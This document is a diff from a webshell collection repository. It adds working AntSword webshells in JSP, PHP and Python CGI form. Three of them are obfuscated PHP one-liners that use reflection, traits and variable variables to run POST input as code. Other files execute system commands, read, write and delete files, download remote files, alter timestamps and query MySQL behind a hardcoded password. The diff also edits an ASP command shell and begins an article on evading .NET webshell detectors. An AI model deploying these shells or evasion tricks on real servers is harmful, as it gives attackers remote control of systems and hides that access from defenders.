+            AesKey = getKeyFromCookie(request.getCookies());
+            String funccode = EC(request.getParameter(Pwd) + "");
+            String z0 = EC(decode(request.getParameter("z0")+"", encoder));
+            String z1 = EC(decode(request.getParameter("z1")+"", encoder));
+            String z2 = EC(decode(request.getParameter("z2")+"", encoder));
+            String z3 = EC(decode(request.getParameter("z3")+"", encoder));
+            String[] pars = { z0, z1, z2, z3};
+            output.append(decode(RetS,"base64"));
+
+            if (funccode.equals("B")) {
+                sb.append(FileTreeCode(pars[1]));
+            } else if (funccode.equals("C")) {
+                sb.append(ReadFileCode(pars[1]));
+            } else if (funccode.equals("D")) {
+                sb.append(WriteFileCode(pars[1], pars[2]));
+            } else if (funccode.equals("E")) {
+                sb.append(DeleteFileOrDirCode(pars[1]));
+            } else if (funccode.equals("F")) {
+                DownloadFileCode(pars[1], response);
+            } else if (funccode.equals("U")) {
+                sb.append(UploadFileCode(pars[1], pars[2]));
+            } else if (funccode.equals("H")) {
+                sb.append(CopyFileOrDirCode(pars[1], pars[2]));
+            } else if (funccode.equals("I")) {
+                sb.append(RenameFileOrDirCode(pars[1], pars[2]));
+            } else if (funccode.equals("J")) {
+                sb.append(CreateDirCode(pars[1]));
+            } else if (funccode.equals("K")) {
+                sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
+            } else if (funccode.equals("L")) {
+                sb.append(WgetCode(pars[1], pars[2]));
+            } else if (funccode.equals("M")) {
+                sb.append(ExecuteCommandCode(pars[1], pars[2]));
+            } else if (funccode.equals("N")) {
+                sb.append(showDatabases(pars[0], pars[1]));
+            } else if (funccode.equals("O")) {
+                sb.append(showTables(pars[0], pars[1], pars[2]));
+            } else if (funccode.equals("P")) {
+                sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
+            } else if (funccode.equals("Q")) {
+                sb.append(query(pars[0], pars[1], pars[2]));
+            } else if (funccode.equals("A")) {
+                sb.append(SysInfoCode(request));
+            }else{
+                sb.append(Version);
+            }
+        } catch (Exception e) {
+            sb.append("ERROR" + "://" + e.toString());
+        }
+        try {
+            output.append(asenc(sb.toString(), decoder));
+        }catch (Exception e) {
+            sb.append("ERROR" + ":// " + e.toString());
+        }
+        output.append(decode(RetE, "base64"));
+        out.print(output.toString());
+    ]]>
+    </jsp:scriptlet>
+</jsp:root>

antSword-shells/php1.php

@@ -0,0 +1,21 @@
+<?php
+
+class Test1
+{
+    public function __construct($para, $_value)
+    {
+        $para($_value);
+    }
+}
+
+
+$class1 = new ReflectionClass("Test1");
+
+foreach (array('_POST') as $_r1) {
+    foreach ($$_r1 as $_asadasd=>$_wfwefb) {
+
+                    $$_asadasd =$_wfwefb;
+    }
+}
+
+$class2 = $class1->newInstance($_asadasd, $$_asadasd);

antSword-shells/php2.php

@@ -0,0 +1,25 @@
+<?php
+class Test1
+{
+    private $para1 = '';
+    private $para2 = '';
+
+    public function __invoke($para1, $para2)
+    {
+        $para1($para2);
+    }
+    public function __construct($para1, $para2)
+    {
+        $this($para1, $para2);
+    }
+}
+
+$class1 = new ReflectionClass("Test1");
+
+foreach (array('_POST') as $_r1) {
+    foreach ($$_r1 as $_asadasd=>$_wfwefb) {
+
+                    $$_asadasd =$_wfwefb;
+    }
+}
+$class2 = $class1->newInstance($_asadasd, $$_asadasd);

antSword-shells/php3.php

@@ -0,0 +1,46 @@
+<?php
+
+trait Dog
+{
+    public $name="dog";
+
+    public function drive()
+    {
+        echo "This is dog drive";
+    }
+    public function eat($a, $b)
+    {
+        $a($b);
+    }
+}
+
+class Animal
+{
+    public function drive()
+    {
+        echo "This is animal drive";
+    }
+    public function eat()
+    {
+        echo "This is animal eat";
+    }
+}
+
+class Cat extends Animal
+{
+    use Dog;
+    public function drive()
+    {
+        echo "This is cat drive";
+    }
+}
+
+foreach (array('_POST') as $_request) {
+    foreach ($$_request as $_key=>$_value) {
+        $$_key=  $_value;
+    }
+}
+
+
+$cat = new Cat();
+$cat->eat($_key, $_value);

antSword-shells/php_custom_script_for_mysql_fix.php

@@ -0,0 +1,461 @@
+<?php
+/**
+*              _   ____                       _
+*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |
+*  / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+* | (_| | | | | |_ ___) \ V  V / (_) | | | (_| |
+*  \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_|
+* ———————————————————————————————————————————————
+*     AntSword PHP Custom Script for Mysql
+* 
+*     警告：
+*         此脚本仅供合法的渗透测试以及爱好者参考学习
+*          请勿用于非法用途，否则将追究其相关责任！
+* ———————————————————————————————————————————————
+*
+* 使用说明：
+*  1. AntSword >= v2.0.7
+*  2. 创建 Shell 时选择 custom 模式连接
+*  3. 数据库连接：
+*    <H>localhost</H>
+*    <U>root</U>
+*    <P>123456</P>
+*
+*  4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空
+*
+* ChangeLog:
+*   Date: 2020/03/26 v1.4
+*    1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
+*    2. 增加动态修改字符编码接口
+*
+*   Date: 2019/05/22 v1.3
+*    1. 支持 mysqli 连接非默认端口
+*
+*   Date: 2019/04/05 v1.2
+*    1. 新增 listcmd 接口
+*    2. 新增数据库支持函数检查接口
+*
+*   Date: 2016/05/13 v1.1
+*    1. 执行 DML 语句，显示执行状态
+*
+*   Date: 2016/04/06 v1.0
+*    1. 文件系统 和 terminal 管理
+*    2. mysql 数据库支持
+*    3. 支持 base64 和 hex 编码
+**/
+
+$pwd = "ant"; //连接密码
+//数据编码 3 选 1
+$encoder = ""; // default
+// $encoder = "base64"; //base64
+// $encoder = "hex"; // hex
+//$cs = "UTF-8";
+$cs=isset($_REQUEST['charset'])?$_REQUEST['charset']:"UTF-8";
+
+/**
+* 字符编码处理
+**/
+function EC($s){
+    global $cs;
+    $sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5')); 
+    $ret = "";
+    try {
+        $ret = mb_convert_encoding($s, $cs, $sencode);
+    } catch (Exception $e) {
+        try {
+            $ret = iconv($sencode, $cs, $s);    
+        } catch (Exception $e) {
+            $ret = $s;
+        }
+    }
+    return $ret;
+}
+/*传输解码*/
+function decode($s){
+    global $encoder;
+    $ret = "";
+    switch ($encoder) {
+        case 'base64':
+            $ret = base64_decode($s);
+            break;
+        case 'hex':
+            for ($i=0; $i < strlen($s)-1; $i+=2) { 
+                $output = substr($s, $i, 2);
+                $decimal = intval($output, 16);
+                $ret .= chr($decimal);
+            }
+            break;
+        default:
+            $ret = $s;
+            break;
+    }
+    return $ret;
+}
+function showDatabases($encode, $conf){
+    $sql = "show databases";
+    $columnsep = "\t";
+    $rowsep = "";
+    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
+}
+function showTables($encode, $conf, $dbname){
+    $sql = "show tables from ".$dbname; // mysql
+    $columnsep = "\t";
+    $rowsep = "";
+    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
+}
+
+function showColumns($encode, $conf, $dbname, $table){
+    $columnsep = "\t";
+    $rowsep = "";
+    $sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql
+    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
+}
+
+function query($encode, $conf, $sql){
+    $columnsep = "\t|\t"; // general
+    $rowsep = "\r\n";
+    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
+}
+
+function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
+    $ret = "";
+    $m=get_magic_quotes_gpc();
+    if ($m) {
+        $conf = stripslashes($conf);
+    }
+    $conf = (EC($conf));
+
+    /*
+    <H>localhost</H>
+    <U>root</U>
+    <P>root</P>
+    */
+    $host="";
+    $user="";
+    $password="";
+    if (preg_match('/<H>(.+?)<\/H>/i', $conf, $data)) {
+        $host = $data[1];    
+    }
+    if (preg_match('/<U>(.+?)<\/U>/i', $conf, $data)) {
+        $user = $data[1];    
+    }
+    if (preg_match('/<P>(.+?)<\/P>/i', $conf, $data)) {
+        $password = $data[1];    
+    }
+    $encode = decode(EC($encode));
+    $port=split(":",$host)[1];
+    $host=split(":",$host)[0];
+    $conn = @mysqli_connect($host, $user, $password, "", $port);
+    $res = @mysqli_query($conn, $sql);
+    if (is_bool($res)) {
+        return "Status".$columnsep.$rowsep.($res?"True":"False").$columnsep.$rowsep;
+    }
+    $i=0;
+    if ($needcoluname) {
+        while ($col=@mysqli_fetch_field($res)) {
+            $ret .= $col->name.$columnsep;
+            $i++;
+        }
+        $ret .= $rowsep;
+    }
+    while($rs=@mysqli_fetch_row($res)){
+        for($c = 0; $c <= $i; $c++){
+            $ret .= trim($rs[$c]).$columnsep;
+        }
+        $ret.=$rowsep;
+    }
+    return $ret;
+}
+
+function BaseInfo(){
+    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
+    if($D==""){
+        $D=dirname($_SERVER["PATH_TRANSLATED"]);
+    }
+    $R="{$D}\t";
+    if(substr($D,0,1)!="/"){
+        foreach(range("C","Z")as $L)
+            if(is_dir("{$L}:"))
+                $R.="{$L}:";
+    }else{
+        $R.="/";
+    }
+    $R.="\t";
+    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
+    $s=($u)?$u["name"]:@get_current_user();
+    $R.=php_uname();
+    $R.="\t{$s}";
+    return $R;
+}
+function FileTreeCode($D){
+    $ret = "";
+    $F=@opendir($D);
+    if($F==NULL){
+        $ret = "ERROR:// Path Not Found Or No Permission!";
+    }else{
+        $M=NULL;
+        $L=NULL;
+        while($N=@readdir($F)){
+            $P=$D."/".$N;
+            $T=@date("Y-m-d H:i:s",@filemtime($P));
+            @$E=substr(base_convert(@fileperms($P),10,8),-4);
+            $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
+            if(@is_dir($P))
+                $M.=$N."/".$R;
+            else
+                $L.=$N.$R;
+        }
+        $ret .= $M.$L;
+        @closedir($F);
+    }
+    return $ret;
+}
+
+function ReadFileCode($F){
+    $ret = "";
+    try {
+        $P = @fopen($F,"r");
+        $ret = (@fread($P,filesize($F)));
+        @fclose($P);
+    } catch (Exception $e) {
+        $ret = "ERROR://".$e;
+    }
+    return $ret;
+}
+function WriteFileCode($path, $content){
+    return @fwrite(fopen(($path),"w"),($content))?"1":"0";
+}
+function DeleteFileOrDirCode($fileOrDirPath){
+    function df($p){
+        $m=@dir($p);
+        while(@$f=$m->read()){
+            $pf=$p."/".$f;
+            if((is_dir($pf))&&($f!=".")&&($f!="..")){
+                @chmod($pf,0777);
+                df($pf);
+            }
+            if(is_file($pf)){
+                @chmod($pf,0777);
+                @unlink($pf);
+            }
+        }
+        $m->close();
+        @chmod($p,0777);
+        return @rmdir($p);
+    }
+    $F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
+    if(is_dir($F)){
+        return (df($F));
+    }
+    else{
+        return (file_exists($F)?@unlink($F)?"1":"0":"0");
+    }
+}
+
+function DownloadFileCode($filePath){
+    $F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
+    $fp=@fopen($F,"r");
+    if(@fgetc($fp)){
+        @fclose($fp);
+        @readfile($F);
+    }else{
+        echo("ERROR:// Can Not Read");
+    }
+}
+function UploadFileCode($path, $content){
+    $f=$path;
+    $c=$content;
+    $c=str_replace("\r","",$c);
+    $c=str_replace("\n","",$c);
+    $buf="";
+    for($i=0;$i<strlen($c);$i+=2)
+        $buf.=urldecode("%".substr($c,$i,2));
+    return (@fwrite(fopen($f,"a"),$buf)?"1":"0");
+}
+function CopyFileOrDirCode($path, $content){
+    $m=get_magic_quotes_gpc();
+    $fc=($m?stripslashes($path):$path);
+    $fp=($m?stripslashes($content):$content);
+    function xcopy($src,$dest){
+        if(is_file($src)){
+            if(!copy($src,$dest))
+                return false;
+            else
+                return true;
+        }
+        $m=@dir($src);
+        if(!is_dir($dest))
+            if(!@mkdir($dest))
+                return false;
+        while($f=$m->read()){
+            $isrc=$src.chr(47).$f;
+            $idest=$dest.chr(47).$f;
+            if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
+                if(!xcopy($isrc,$idest))return false;
+            }else if(is_file($isrc)){
+                if(!copy($isrc,$idest))
+                    return false;
+            }
+        }
+        return true;
+    }
+    return (xcopy($fc,$fp)?"1":"0");
+}
+
+function RenameFileOrDirCode($oldName, $newName){
+    $m=get_magic_quotes_gpc();
+    $src=(m?stripslashes($oldName):$oldName);
+    $dst=(m?stripslashes($newName):$newName);
+    return (rename($src,$dst)?"1":"0");
+}
+function CreateDirCode($name){
+    $m=get_magic_quotes_gpc();
+    $f=($m?stripslashes($name):$name);
+    return (mkdir($f)?"1":"0");
+}
+function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){
+    $m=get_magic_quotes_gpc();
+    $FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
+    $TM=strtotime((m?stripslashes($newTime):$newTime));
+    if(file_exists($FN)){
+        return (@touch($FN,$TM,$TM)?"1":"0");
+    }else{
+        return ("0");
+    }
+}
+
+function WgetCode($urlPath, $savePath){
+    $fR=$urlPath;
+    $fL=$savePath;
+    $F=@fopen($fR,chr(114));
+    $L=@fopen($fL,chr(119));
+    if($F && $L){
+        while(!feof($F))
+            @fwrite($L,@fgetc($F));
+        @fclose($F);
+        @fclose($L);
+        return "1";
+    }else{
+        return "0";
+    }
+}
+
+function ExecuteCommandCode($cmdPath, $command){
+    $p=$cmdPath;
+    $s=$command;
+    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
+    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
+    $r="{$p} {$c}";
+    @system($r." 2>&1",$ret);
+    return ($ret!=0)?"ret={$ret}":"";
+}
+
+function probedb(){
+    $ret="";
+    $m=array(
+        'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
+        'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
+        'sybase_close'
+    );
+    foreach ($m as $f) {
+        $ret.=($f."\t".(function_exists($f)?'1':'0')."\n");
+    }
+    if(function_exists('pdo_drivers')){
+      foreach(@pdo_drivers() as $f){
+        $ret.=("pdo_".$f."\t1\n");
+      }
+    }
+    return $ret;
+}
+
+function listcmd($binarr){
+    $ret="";
+    $arr=@explode(",", $binarr);
+    foreach($arr as $v){
+        $ret.=($v."\t".(@file_exists($v)?"1":"0")."\n");
+    }
+    return $ret;
+}
+
+@ini_set("display_errors", "0");
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+
+$funccode = EC($_REQUEST[$pwd]);
+$z0 = EC(decode($_REQUEST['z0']));
+$z1 = EC(decode($_REQUEST['z1']));
+$z2 = EC(decode($_REQUEST['z2']));
+$z3 = EC(decode($_REQUEST['z3']));
+
+// echo "<meta HTTP-EQUIV=\"csontent-type\" content=\"text/html; charset={$cs}\">";
+echo "->"."|";
+$ret = "";
+try {
+    switch ($funccode) {
+        case 'A':
+            $ret = BaseInfo();
+            break;
+        case 'B':
+            $ret = FileTreeCode($z1);
+            break;
+        case 'C':
+            $ret = ReadFileCode($z1);
+            break;
+        case 'D':
+            $ret = WriteFileCode($z1, $z2);
+            break;
+        case 'E':
+            $ret = DeleteFileOrDirCode($z1);
+            break;
+        case 'F':
+            DownloadFileCode($z1);
+            break;
+        case 'U':
+            $ret = UploadFileCode($z1, $z2);
+            break;
+        case 'H':
+            $ret = CopyFileOrDirCode($z1, $z2);
+            break;
+        case 'I':
+            $ret = RenameFileOrDirCode($z1, $z2);
+            break;
+        case 'J':
+            $ret = CreateDirCode($z1);
+            break;
+        case 'K':
+            $ret = ModifyFileOrDirTimeCode($z1, $z2);
+            break;
+        case 'L':
+            $ret = WgetCode($z1, $z2);
+            break;
+        case 'M':
+            $ret = ExecuteCommandCode($z1, $z2);
+            break;
+        case 'N':
+            $ret = showDatabases($z0, $z1);
+            break;
+        case 'O':
+            $ret = showTables($z0, $z1, $z2);
+            break;
+        case 'P':
+            $ret = showColumns($z0, $z1, $z2, $z3);
+            break;
+        case 'Q':
+            $ret = query($z0, $z1, $z2);
+            break;
+        case 'Y':
+            $ret = listcmd($z1);
+            break;
+        case 'Z':
+            $ret = probedb();
+            break;
+        default:
+            // $ret = "Wrong Password";
+            break;
+    }
+} catch (Exception $e) {
+    $ret = "ERROR://".$e;
+}
+echo $ret;
+echo "|"."<-";
+?>

antSword-shells/python2_custom_script.py

@@ -0,0 +1,349 @@
+#!/usr/bin/env python
+# coding:utf-8
+from __future__ import print_function
+import os
+import cgi
+import time
+import stat
+import getpass
+import base64
+import binascii
+import shutil
+import urllib
+import platform
+import cgitb
+import sys
+cgitb.enable()
+reload(sys) 
+sys.setdefaultencoding('utf-8')
+VERSION = "0.0.2"
+u'''
+              _   ____                       _
+   __ _ _ __ | |_/ ___|_      _____  _ __ __| |
+  / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+ | (_| | | | | |_ ___) \ V  V / (_) | | | (_| |
+  \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_|
+—————————————————————————————————————————————————
+  AntSword Python2 CGI Custom Script No DataBase
+ 
+     警告：
+         此脚本仅供合法的渗透测试以及爱好者参考学习
+          请勿用于非法用途，否则将追究其相关责任！
+—————————————————————————————————————————————————
+ 使用说明：
+  1. AntSword >= v1.1-dev, Python == 2.x
+  2. 创建 Shell 时选择 custom 模式连接
+  3. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空
+  4. 本脚本不含数据库管理操作
+ 使用方法:
+  1. 修改 PWD, ENCODER, ENCODE
+  2. 复制本脚本到 cgi-bin 目录下(根据中间件配置来定)
+  3. 赋予可执行权限 chmod +x xxx.py
+ CHANGELOG:
+  Date 2018/12/30 v0.0.2
+    1. 修复 windows 下命令执行参数问题
+    2. 解决 windows 下文件名中文编码问题 (win10以下系统建议使用 gb2312 gbk 编码)
+    3. 修复 windows 下获取当前用户获取不到时致命错误
+  Date 2018/12/29 v0.0.1
+    1. 文件系统 和 terminal 管理
+    2. 支持 hex 和 base64 编码器
+    3. 脚本内统一使用 unicode 编码来处理
+'''
+
+
+PWD = "ant"     # 连接密码
+ENCODER = ""    # 编码器, 3选1
+# ENCODER = "hex" # 推荐使用此编码器
+# ENCODER = "base64"
+ENCODE = "utf-8" # 字符编码
+OUT_PREFIX = "->" + "|" # 数据分割前缀符
+OUT_SUFFIX = "|" + "<-" # 数据分割后缀符
+
+
+def Decoder(enstr):
+    u'''解码方法,解AntSword 编码器编码后的数据
+@param enstr string 已经经过编码器编码的数据
+@return ret string 解码后的数据
+'''
+    if(ENCODER == "base64"):        
+        return base64.b64decode(enstr)
+    elif (ENCODER == "hex"):
+        return binascii.a2b_hex(enstr)
+    else:
+        return enstr
+
+def TimeStampToTime(timestamp):
+    timeStruct = time.localtime(timestamp)
+    return time.strftime(u'%Y-%m-%d %H:%M:%S',timeStruct)
+
+def BaseInfo():
+    u'''获取系统基础信息
+@return ret string Shell或网站根目录\t盘符\tuname信息\t当前用户
+'''
+    ret = ""
+    d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
+    if(d == ""):
+        d = os.getcwd()
+    ret = "%s\t" % d
+    if(d.startswith('/')):
+        ret += "/"
+    else:
+        for L in range(ord('C'), ord('Z') + 1):
+            if(os.path.isdir("%s:" % chr(L))):
+                ret += "%s:" % chr(L)
+    ret += "\t"
+    ret += "%s\t" % ' '.join(platform.uname())
+    if platform.system().lower() == 'windows':
+        u = "Unknow" # windows 下没 pwd 使用 getpass.getuser 会出错
+        for name in ('LOGNAME','USER','LNAME','USERNAME'):
+            user = os.environ.get(name)
+            if user:
+                u = user
+                break
+        ret += u
+    else:
+        ret += getpass.getuser()
+    return ret
+
+
+def FileTreeCode(d):
+    u'''获取指定目录下的文件和目录信息
+@param  d   string  文件路径
+@return ret string  文件名\t创建时间\t文件大小\t文件权限(RWX 或 8进制)
+'''
+    ret = u""
+    # 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
+    if(os.path.exists(d.encode(ENCODE))):
+        for fname in os.listdir(d.encode(ENCODE)):
+            fname = fname.decode(ENCODE)
+            p = os.path.join(d, fname)
+            try:
+                fst = os.stat(p.encode(ENCODE))
+                name = fname
+                if stat.S_ISDIR(fst.st_mode):
+                    name += "/"
+                ret += u"{}\t{}\t{}\t{}\n".format(name, TimeStampToTime(fst.st_mtime), fst.st_size, oct(fst.st_mode)[-4:])
+            except:
+                ret += u"{}\t{}\t{}\t{}\n".format(fname, TimeStampToTime(0), 0, 0)
+    else:
+        ret = "ERROR:// Path Not Found or No Permission!"
+    return ret.encode(ENCODE)
+
+def ReadFileCode(fpath):
+    u'''获取指定路径文件内容
+@param fpath string 文件路径
+@return ret string  成功返回文件内容,失败抛出异常
+'''
+    with open(fpath.encode(ENCODE), 'r') as fp:
+        return fp.read()
+
+def WriteFileCode(path, content):
+    u'''向指定文件路径下写入content的内容
+@param path    string 文件路径
+@param content string 文件内容(整个文件内容)
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+    with open(path.encode(ENCODE), "w") as fp:
+        fp.write(content.encode(ENCODE))
+    return "1"
+
+def DeleteFileOrDirCode(path):
+    u'''删除指定路径下的文件或目录
+@param path string 文件或目录路径
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+    if os.path.isdir(path.encode(ENCODE)):
+        shutil.rmtree(path.encode(ENCODE))
+    else:
+        os.remove(path.encode(ENCODE))
+    return "1"
+
+def DownloadFileCode(path):
+    u'''下载指定路径的文件
+@param path   string 文件路径
+@return None  直接在本方法内输出文件的二进制内容,失败则抛出异常
+'''
+    with open(path.encode(ENCODE), 'r') as fp:
+        print(fp.read(),end='')
+
+def UploadFileCode(path, content):
+    u'''上传文件
+@param path    string 文件路径 eg: /tmp/123
+@param content hexstring 文件内容(分段) eg: 416e74 内容为 Ant
+@return ret    string 成功返回 1 失败返回 0 或抛出异常
+'''
+    data = binascii.a2b_hex(content)
+    with open(path.encode(ENCODE), "a") as f:
+        f.write(data)
+    return "1"
+
+def CopyFileOrDirCode(oldPath, newPath):
+    u'''复制文件或目录
+@param oldPath string 原文件/目录路径 eg: /etc/passwd
+@param newPath string 新文件/目录路径 eg: /tmp/passwd
+@return ret    string 成功返回 1 失败返回 0 或抛出异常
+'''
+    if os.path.isdir(oldPath.encode(ENCODE)):
+        shutil.copytree(oldPath.encode(ENCODE), newPath.encode(ENCODE),symlinks=True)
+    else:
+        shutil.copy(oldPath.encode(ENCODE), newPath.encode(ENCODE))
+    return "1"
+
+def RenameFileOrDirCode(oldPath, newPath):
+    u'''重命名文件或目录
+@param oldPath string 原文件/目录路径 eg: /tmp/123
+@param newPath string 新文件/目录路径 eg: /tmp/456
+@return ret    string 成功返回 1 失败返回 0 或抛出异常
+'''
+    os.rename(oldPath.encode(ENCODE), newPath.encode(ENCODE))
+    return "1"
+
+def CreateDirCode(path):
+    u'''新建目录
+@param path    string 新目录路径 eg: /tmp/123
+@return ret    string 成功返回 1 失败返回 0 或抛出异常
+'''
+    os.makedirs(path.encode(ENCODE))
+    return "1"
+
+def ModifyFileOrDirTimeCode(path, newTime):
+    u'''修改文件或目录的 最后一次修改时间
+@param path    string 文件/目录路径 eg: /tmp/123
+@param newTime string 时间字符串 eg: 2018-12-12 20:48:54
+@return ret    string 成功返回 1 失败返回 0
+'''
+    atime = int(time.mktime(time.strptime(newTime, '%Y-%m-%d %H:%M:%S')))
+    os.utime(path.encode(ENCODE), (atime, atime))
+    return "1"
+
+def WgetCode(url, savepath):
+    u'''服务端 Wget
+@param url      string url 地址 eg: http://xxx.com/1.jpg
+@param savepath string 文件路径 eg: /tmp/2.jpg
+@return ret    string 成功返回 1 失败返回 0
+'''
+    urllib.urlretrieve(url, filename=savepath.encode(ENCODE))
+    return "1"
+
+def ExecuteCommandCode(cmdPath, command):
+    u'''执行命令
+@param cmdPath string 执行命令的shell路径 eg: /bin/sh
+@param command string 执行的命令内容 eg: cd "/usr/";pwd;whoami
+@return ret string 执行命令返回结果
+'''
+    d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
+    if(d == ""):
+        d = os.getcwd()
+    cmd = []
+    if d[0] == "/":
+        cmd = [cmdPath, '-c', '%s' % command]
+    else:
+        cmd = '''%s /c "%s"''' % (cmdPath, command)
+    c_stdin, c_stdout, c_stderr = os.popen3(cmd)
+    c_stdin.close()
+    result = c_stdout.read()
+    c_stdout.close()
+    errmsg = c_stderr.read()
+    c_stderr.close()
+    return result + errmsg
+
+def showDatabases(encode, conf):
+    u'''列出当前数据库系统下所有数据库
+@param encode string 数据库连接编码 eg:utf8
+@param conf string 连接字符串, 自己定义解析格式
+@return ret   string 执行结果, \t 为字段分割符
+例如某连接下有3个数据库(mysql,test,information_schema),
+则返回结果为:
+mysql\ttest\tinformation_schema
+'''
+    return "ERROR:// Not Implement"
+
+def showTables(encode, conf, dbname):
+    u'''列出当前数据库下所有表
+@param encode string 数据库连接编码 eg:utf8
+@param conf string 连接字符串, 自己定义解析格式
+@param dbname string 数据库名 eg: mysql
+@return ret   string 执行结果, \t 为字段分割符
+例如某数据库下有3张表(user,admin,member),则返回结果为:
+user\tadmin\tmember
+'''
+    return "ERROR:// Not Implement"
+
+def showColumns(encode, conf, dbname, table):
+    u'''列出当前表下所有列
+@param encode string 数据库连接编码 eg:utf8
+@param conf   string 连接字符串, 自己定义解析格式
+@param dbname string 数据库名 eg: mysql
+@param table  string 表名    eg: user
+@return ret   string 执行结果, \t 为字段分割符
+例如某张表有3个字段(id,user,password), 则返回数据如下:
+id\tuser\tpassword
+'''
+    return "ERROR:// Not Implement"
+
+def query(encode, conf, sql):
+    u'''执行 sql 语句
+@param encode string 数据库连接编码 eg:utf8
+@param conf   string 连接字符串, 自己定义解析格式
+@param sql    string 要执行的sql语句
+@return ret   string 执行结果, \t|\t 为列分割符, \r\n为行分割符, 第一行为列名
+例如某张表有3个字段(id,user,password), 查询的结果有2条数据,则返回数据如下:
+id\t|\tuser\t|\tpassword\r\n1\t|\tadmin\t|\t123456\r\n2\t|\tuser\t|\t123456\r\n
+'''
+    return "ERROR:// Not Implement"
+
+if __name__ == "__main__":
+    print("Content-Type: text/html;charset=%s" % ENCODE)
+    print()
+
+    print(OUT_PREFIX.decode(ENCODE), end='')
+    ret = ""
+    try:
+        form = cgi.FieldStorage()
+        funcode = form.getvalue(PWD)
+        z0 = Decoder(form.getvalue("z0","").decode())
+        z1 = Decoder(form.getvalue("z1","").decode())
+        z2 = Decoder(form.getvalue("z2","").decode())
+        z3 = Decoder(form.getvalue("z3","").decode())
+
+        if(funcode == "A"):
+            ret = BaseInfo()
+        elif(funcode == "B"):
+            ret = FileTreeCode(z1)
+        elif(funcode == 'C'):
+            ret = ReadFileCode(z1)
+        elif(funcode == 'D'):
+            ret = WriteFileCode(z1, z2)
+        elif(funcode == 'E'):
+            ret = DeleteFileOrDirCode(z1)
+        elif(funcode == 'F'):
+            DownloadFileCode(z1)
+        elif(funcode == 'U'):
+            ret = UploadFileCode(z1, z2)
+        elif(funcode == 'H'):
+            ret = CopyFileOrDirCode(z1, z2)
+        elif(funcode == 'I'):
+            ret = RenameFileOrDirCode(z1, z2)
+        elif(funcode == 'J'):
+            ret = CreateDirCode(z1)
+        elif(funcode == 'K'):
+            ret = ModifyFileOrDirTimeCode(z1, z2)
+        elif(funcode == 'L'):
+            ret = WgetCode(z1, z2)
+        elif(funcode == 'M'):
+            ret = ExecuteCommandCode(z1, z2)
+        elif(funcode == 'N'):
+            ret = showDatabases(z0, z1)
+        elif(funcode == 'O'):
+            ret = showTables(z0, z1, z2)
+        elif(funcode == 'P'):
+            ret = showColumns(z0, z1, z2, z3)
+        elif(funcode == 'Q'):
+            ret = query(z0, z1, z2)
+        else:
+            pass
+    except Exception, e:
+        ret = "ERROR:// %s" % getattr(e, 'strerror', str(e))
+
+    print(ret, end="")
+    print(OUT_SUFFIX.decode(ENCODE))

asp/webshell.asp

@@ -39,7 +39,7 @@ end Function
 <%Response.Write(Request.ServerVariables("server_software"))%>
 </p>
 <p>
-<b>The server's software:</b>
+<b>The server's local address:</b>
 <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
 <% szCMD = request("cmd")
 thisDir = getCommandOutput("cmd /c" & szCMD)

aspx/.NET WebShell 免杀系列之Unicode编码.md

@@ -0,0 +1,398 @@
+### .NET WebShell 免杀系列之Unicode编码
+
+由dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题，这不今天有个群友问.NET WebShell 绕过和免杀的方法，而.NET下通常用Process或其他的类和方法触发命令执行，本文不走曲线救国的路线，走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具，那么是如何免杀的呢？请阅读者保持好奇心跟随笔者一探究竟吧！
+
+![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8hqpMIY2QyIic8psNgLbVzzt0cUEZVhg3X2ezH2foTzaBwp9sG2yxFkw/640?wx_fmt=png)
+
+2.1 起源
+------
+
